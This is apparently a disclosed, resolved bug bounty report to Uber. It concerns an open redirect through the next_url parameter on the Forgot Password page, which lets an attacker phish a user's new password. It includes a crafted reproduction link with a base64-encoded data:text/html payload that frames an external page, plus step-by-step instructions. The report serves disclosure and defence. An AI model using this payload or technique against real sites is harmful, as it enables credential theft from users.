Stealing users password (Limited Scenario)
U
Uber
Submitted None
Team Summary
Official summary from Uber
The Forgot Password page accepts a next_url URL parameter when it's loaded. Due to the fact that this is user-controllable and permits any url, it is possible for an attacker to perform a convincing phishing attack, designed to steal an Uber user's credentials, by getting a victim to reset their password via a custom Forgot Password link.
Actions:
Reported by
geekboy
Vulnerability Details
Technical details and impact analysis
__Hello Team,__
####Description :
> This is report is about an interesting scenario where an user's password can be steal while password reset process due to wired user controlled redirection take place after password reset process.
By accepting the fact that URL redirect is not in scope for uber but this one is interesting on reset page that something need to look.
####Step To Reproduce :
+ Go [Here](https://login.uber.com/forgot-password?source=auth&next_url=blocked:text/html;base64,PGlmcmFtZSBzcmM9aHR0cDovL2dvby5nbC92TkE3RHYgaGVpZ2h0PTEwMCUgd2lkdGg9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPg==)
+ Where __`next_url`__ is user controlled on password reset page __`https://login.uber.com/forgot-password?source=auth&next_url=user_controlled_url`__ .
+ Request password reset token for your account !
+ Get the reset link and change the password and will be redirected to supplied `next_url` url.
+ Where an well crafted form will ask to confirm your password !
+ And this is how someone can steal the password of someone !
####Impact :
>though impact is not very direct here , but still critical enough if any attacker succeeded to exploit this & that will allow him to access victim account , so this should be fixed !
####Video POC (Tested in Mozilla) : https://dl.dropboxusercontent.com/u/62765113/ShareX/16/2016-08-24_19-18-20.mp4
####Possible Fix :
+ `next_url` should not be reflect after password reset also should not be user controlled .
Please let me know if any more info needed !
-------------
**Regards**
*Geekboy !*
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Violation of Secure Design Principles